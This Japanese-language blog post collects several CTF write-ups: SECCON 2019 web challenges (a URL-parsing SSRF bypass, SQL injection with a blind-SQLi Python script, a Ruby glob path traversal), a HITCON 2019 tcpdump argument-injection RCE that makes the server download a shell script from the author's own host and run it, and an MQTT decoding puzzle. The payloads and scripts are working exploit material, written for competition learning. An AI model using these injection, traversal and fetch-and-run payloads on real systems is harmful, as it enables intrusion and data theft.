SECCON 2019 Online CTF Writeup - Web
いつものnoranecoチームではなく、心だけは若い2名と本当の若者2名で別チームを作って参加。
残念ながら決勝進出は厳しい得点だったので、12月のSECCONでは別の催し物への参加やnoraneco本隊を応援する。
Option-Cmd-U
Question
No more "View Page Source"! http://ocu.chal.seccon.jp:10000/index.php
Solution
/index.php?action=source
でソースコードを閲覧可能。
<?php if ($_GET['action'] === "source"){ highlight_file(__FILE__); die(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Option-Cmd-U</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css"> <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script> </head> <body> <div class="container"> <section class="hero"> <div class="hero-body"> <div class="container"> <h1 class="title has-text-centered has-text-weight-bold"> Option-Cmd-U </h1> <h2 class="subtitle has-text-centered"> "View Page Source" is no longer required! Let's view page source online :-) </h2> <form method="GET"> <div class="field has-addons"> <div class="control is-expanded"> <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>"> </div> <div class="control"> <button class="button is-link">Submit</button> </div> </div> </form> </div> </div> </section> <section class="section"> <pre> <!-- src of this PHP script: /index.php?action=source --> <!-- the flag is in /flag.php, which permits access only from internal network :-) --> <!-- this service is running on php-fpm and nginx. see /docker-compose.yml --> <?php if (isset($_GET['url'])){ $url = filter_input(INPUT_GET, 'url'); $parsed_url = parse_url($url); if($parsed_url["scheme"] !== "http"){ // only http: should be allowed. echo 'URL should start with http!'; } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) { // local access to nginx from php-fpm should be blocked. echo 'Oops, are you a robot or an attacker?'; } else { // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/ highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46), false, stream_context_create(array( 'http' => array( 'follow_location' => false, 'timeout' => 2 ) )))); } } ?> </pre> </section> </div> </body> </html>
idn_to_ascii
あたりから、文字コード絡みの問題の匂いがしてくる。
BlackHat2019で発表された以下のネタが怪しい。
細かい説明は資料参照ということで割愛するが、
http://nginx/flag.php#:password@example.com
を入力するとフラグが得られた。なお、nginx
がどこから来たかというとdocker-compose.yml
に記載されていた。
SECCON{what_a_easy_bypass_314208thg0n423g}
web_search
Question
Get a hidden message! Let's find a hidden message using the search system on the site. http://web-search.chal.seccon.jp/
Solution
SQL Injectionで攻める問題。
Stage1
実行して返ってきた画面のテキストボックスを確認すると、or
とスペース
とカンマ
が除去されているようなので対策する。
再帰的な除去はされていないため、oorr
を入力すればor
を除去された結果or
になる。(ややこしい言い回し
スペースについては、代わりに/**/
を使用する。
定番のやつを実行する。
root@kali:/mnt/CTF/Contest/SECCON2019# curl http://web-search.chal.seccon.jp/ -G --data-urlencode "q='oorr/**/1=1#" -s <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Articles</title> </head> <body> <form action="./" method="get"> <input type="text" name="q" value="'or/**/id=60#"><input type="submit" value="Search"> </form> <dl><dt>RFC 748</dt><dd>TELNET RANDOMLY-LOSE Option</dd>(snip)<dt>FLAG</dt><dd>The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!</dd></dl> <p> Prev / Next </p> </body> </html>
これで終わりではないようだ。
Stage2
Blind SQL Injectionで攻める。
以下、スクリプト。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'http://web-search.chal.seccon.jp/' target = "" def trace_request(req): print("[+] request start") print('{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) print("[+] request end") def trace_response(res): print("[+] response start") print('{}\n{}\n\n{}'.format( res.status_code, '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()), res.content, )) print("[+] response end") def challenge(offset, guess): req = requests.Request( 'GET', URL, params={ #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(table_name) from {} for {})) from information_schema.tables where table_schema=database() limit 1)<'{}'#" #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(column_name) from {} for {})) from information_schema.columns where table_name='flag' limit 1)<'{}'#" "q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(piece) from {} for {})) from flag limit 1)<'{}'#" .replace("or","oorr") .replace(" ","/**/") .format(offset+1, offset + 2, guess) } ) prepared = req.prepare() #trace_request(prepared) session = requests.Session() #start = time.time() # TimeBased用 res = session.send(prepared, allow_redirects = False) #elapsed_time = time.time() - start # TimeBased用 #trace_response(res) if "<dl></dl>Error" in res.content.decode("utf-8"): print("Error") exit(1) elif not "No result" in res.content.decode("utf-8"): return True # 取得したい文字の文字コードは予想文字の文字コードより小さい else: return False # 取得したい文字の文字コードは予想文字の文字コード以上 def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
33行目を有効、34-35行目をコメントアウトして実行してテーブル名を取得。
root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py [+] target: f [+] target: fl [+] target: fla [+] target: flag [+] target: flag, [+] target: flag,a [+] target: flag,ar [+] target: flag,art [+] target: flag,arti [+] target: flag,artic [+] target: flag,articl [+] target: flag,article [+] target: flag,articles [+] target: flag,articles
34行目を有効、33,35行目をコメントアウトして実行して列名を取得。
root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py [+] target: p [+] target: pi [+] target: pie [+] target: piec [+] target: piece [+] target: piece
35行目を有効、33-34行目をコメントアウトして実行してレコードを取得。
root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py [+] target: Y [+] target: Yo [+] target: You [+] target: You_ [+] target: You_W [+] target: You_Wi [+] target: You_Win [+] target: You_Win_ [+] target: You_Win_Y [+] target: You_Win_Ye [+] target: You_Win_Yea [+] target: You_Win_Yeah [+] target: You_Win_Yeah} [+] target: You_Win_Yeah}
組み合わせると以下のフラグ。
SECCON{Yeah_Sqli_Success_You_Win_Yeah}
fileserver
Question
I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy! http://fileserver.chal.seccon.jp:9292/public/index.html Due to maintainability, we restart the server of fileserver challenge every 5 minutes.
Solution
http://fileserver.chal.seccon.jp:9292/
でソースを取得できる。
app.rb
require 'erb' require 'webrick' require 'fileutils' require 'securerandom' include WEBrick::HTTPStatus FileUtils.rm_rf('/tmp/flags') FileUtils.mkdir_p('/tmp/flags') FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt") FileUtils.rm('flag.txt') server = WEBrick::HTTPServer.new Port: 9292 def is_bad_path(path) bad_char = nil %w(* ? [ { \\).each do |char| if path.include? char bad_char = char break end end if bad_char.nil? false else # check if brackets are paired if bad_char == ?{ path[path.index(bad_char)..].include? ?} elsif bad_char == ?[ path[path.index(bad_char)..].include? ?] else true end end end server.mount_proc '/' do |req, res| raise BadRequest if is_bad_path(req.path) if req.path.end_with? '/' if req.path.include? '.' raise BadRequest end files = Dir.glob(".#{req.path}*") res['Content-Type'] = 'text/html' res.body = ERB.new(File.read('index.html.erb')).result(binding) next end matches = Dir.glob(req.path[1..]) if matches.empty? raise NotFound end begin file = File.open(matches.first, 'rb') res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]] res.body = file.read(1e6) rescue Errno::EISDIR => e res.set_redirect(MovedPermanently, req.path + '/') end end trap 'INT' do server.shutdown end server.start
ディレクトリトラバーサルで攻める問題のようだ。
Stage1
/tmp/flags/
ディレクトリ配下にあるフラグファイル名を特定する。
files = Dir.glob(".#{req.path}*")
先頭に.
が付与されreq.pathは/
始まりであるため、先頭は./
のカレントディレクトリ指定になる。
.
も使用不可のため、ディレクトリを上に辿ることができない。
リファレンスマニュアルを確認する。 docs.ruby-lang.org
p Dir.glob("f*\0b*") # => ["foo", "bar"]
Nullバイトを挟めば、or検索ができるようだ。
これで「先頭の./
or 任意のディレクトリ」をリスティングできる。
root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/ --output - <!DOCTYPE html> <meta charset="utf8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Fileserver</title> <link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css"> <section class="section"> <div class="container"> <h1 class="title">Index of //tmp/flags/</h1> <div class="list is-hoverable"> <a class="list-item" href="/./">./</a> <a class="list-item" href="//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt">/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt</a> </div> <hr> <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span> </div> </section>
Stage2
ファイル名を特定できた。 次にファイルの内容を取得する。
matches = Dir.glob(req.path[1..])
先頭1文字が除去されてしまうため、
http://localhost:9292/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt
にアクセスしても、サーバ内でtmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt
を読みに行こうとしてしまう。
http://localhost:9292//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt
もダメ。このコードに到達するまでに自動でURLが正規化されるようだ。
よって、{hoge,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}
のように、ブラケットを使用したOR指定をする。
ただ、{}
記号を使用するとis_bad_path
関数で弾かれる。
is_bad_path
関数には問題があり、{
記号より先に[
記号の有無をチェックし、[
記号が存在した場合は{
記号はチェックしない。
そして、相対する]
記号が無ければ問題ないと判断しチェックが通る。
まとめると、{[,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}
をパスにセットすればよい。
curlで実行する場合は{}[
記号はURLエンコードしておく。
root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%7B%5B,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt%7D SECCON{You_are_the_Globbin'_Slayer}
フラグゲット。
HITCON CTF 2019 Writeup - Virtual Public Network
Question
Vulnerable Point of Your Network :) http://13.231.137.9
Solution
HTMLソースを表示する。
<!-- Hint for you :) <a href='diag.cgi'>diag.cgi</a> <a href='DSSafe.pm'>DSSafe.pm</a> -->
diag.cgiは以下のとおり。
#!/usr/bin/perl use lib '/var/www/html/'; use strict; use CGI (); use DSSafe; sub tcpdump_options_syntax_check { my $options = shift; return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0; return undef; } print "Content-type: text/html\n\n"; my $options = CGI::param("options"); my $output = tcpdump_options_syntax_check($options); # backdoor :) my $tpl = CGI::param("tpl"); if (length $tpl > 0 && index($tpl, "..") == -1) { $tpl = "./tmp/" . $tpl . ".thtml"; require($tpl); }
※DSSafe.pmは大きいため省略。
テキストボックスに入力した文字列は、tcpdumpコマンドのオプションにセットされる。
また、tpl
パラメータを付与すると./tmp/配下のファイルをrequire
で実行してくれる。
つまり、tcpdumpコマンドで./tmp/配下に実行させたいperlのソースコードファイルを配備するのが攻略方法のようだ。
出題者がOrange Tsai (@orange_8361)氏なので、氏のBlogや登壇資料を確認する。
Orange: Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study! https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf
これだ。
まずはls -l /を実行させるため、-r'$x="ls -l /",system$x#' 2>./tmp/vvvvvvvv.thtml <
をURLエンコードしてoptionsパラメータにセットする。
root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22ls%20%2Dl%20%2F%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv" total 96 -rwsr-sr-x 1 root root 8520 Oct 11 23:57 $READ_FLAG$ -r-------- 1 root root 49 Oct 11 23:59 FLAG drwxr-xr-x 2 root root 4096 Oct 2 17:11 bin drwxr-xr-x 3 root root 4096 Oct 2 17:12 boot drwxr-xr-x 15 root root 2980 Oct 11 19:41 dev drwxr-xr-x 97 root root 4096 Oct 12 09:15 etc drwxr-xr-x 4 root root 4096 Oct 11 17:21 home lrwxrwxrwx 1 root root 31 Oct 2 17:12 initrd.img -> boot/initrd.img-4.15.0-1051-aws lrwxrwxrwx 1 root root 31 Oct 2 17:12 initrd.img.old -> boot/initrd.img-4.15.0-1051-aws drwxr-xr-x 20 root root 4096 Oct 11 22:11 lib drwxr-xr-x 2 root root 4096 Oct 2 17:09 lib64 drwx------ 2 root root 16384 Oct 2 17:11 lost+found drwxr-xr-x 2 root root 4096 Oct 2 17:08 media drwxr-xr-x 2 root root 4096 Oct 2 17:08 mnt drwxr-xr-x 3 root root 4096 Oct 11 17:32 opt dr-xr-xr-x 135 root root 0 Oct 11 19:41 proc drwx------ 5 root root 4096 Oct 12 09:16 root drwxr-xr-x 25 root root 960 Oct 12 15:46 run drwxr-xr-x 2 root root 4096 Oct 2 17:11 sbin drwxr-xr-x 5 root root 4096 Oct 11 17:04 snap drwxr-xr-x 2 root root 4096 Oct 2 17:08 srv dr-xr-xr-x 13 root root 0 Oct 11 23:59 sys drwxrwxrwt 3 root root 4096 Oct 12 20:13 tmp drwxr-xr-x 10 root root 4096 Oct 11 21:45 usr drwxr-xr-x 14 root root 4096 Oct 11 21:45 var lrwxrwxrwx 1 root root 28 Oct 2 17:12 vmlinuz -> boot/vmlinuz-4.15.0-1051-aws lrwxrwxrwx 1 root root 28 Oct 2 17:12 vmlinuz.old -> boot/vmlinuz-4.15.0-1051-aws
/$READ_FLAG$
を実行すればよさそうだが、$
記号を使用すると、DSSafe.pmの__parsecmd関数のチェックに引っかかるようだ。
そこで、/$READ_FLAG$
を実行するシェルスクリプトをダウンロードさせてから、実行させる。
シェルスクリプトを用意して、ダウンロード用のWebサーバを立てる。
root@ip-172-31-26-179:~/tmp# echo '/\$READ_FLAG\$' > exec.sh root@ip-172-31-26-179:~/tmp# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
curl myserver/exec.sh -o /tmp/exec.sh
を実行させる。
root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22curl%20myserver%2Fexec%2Esh%20%2Do%20%2Ftmp%2Fexec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
sh /tmp/exec.sh
を実行させる。
root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22sh%20/tmp/exec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv" hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}
フラグゲット。
Syskron Security CTF Writeup - My servo drive is getting mad
Question
My servo drive sends strange parameters. Can you decode them? I have to go for lunch. mqtt.ctf.syskron-security.com:1883
Solution
MQTTで接続するようなので、簡単な受信スクリプトを書く。
過去の問題ではMQTT over WebSocketだったが、今回は普通のMQTT。
過去のWriteupは以下。
hxp CTF 2018 Writeup - time for h4x0rpsch0rr? - こんとろーるしーこんとろーるぶい
import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, respons_code): print('connected') client.subscribe('#') def on_message(client, userdata, msg): print(msg.topic + ' ' + str(msg.payload)) client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.connect('mqtt.ctf.syskron-security.com', 1883, keepalive=60)
実行する。
(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python mqtchall.py connected servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'153' servo/rpm b'147' servo/rpm b'158' servo/rpm b'152' servo/rpm b'132' servo/rpm b'151' servo/rpm b'154' servo/rpm b'147' servo/rpm b'143' servo/rpm b'160' servo/rpm b'146' servo/rpm b'154' servo/rpm b'160' servo/rpm b'207' servo/rpm b'138' servo/rpm b'139' servo/rpm b'130' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' (snip)
ASCII文字になりそう。
data = "153 147 158 152 132 151 154 147 143 160 146 154 160 207 138 139 130" decoded = "" for i in data.split(" "): decoded += (chr(int(i) ^ 0xff)) print(decoded)
実行する。
(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python decode.py flag{help_me_0ut}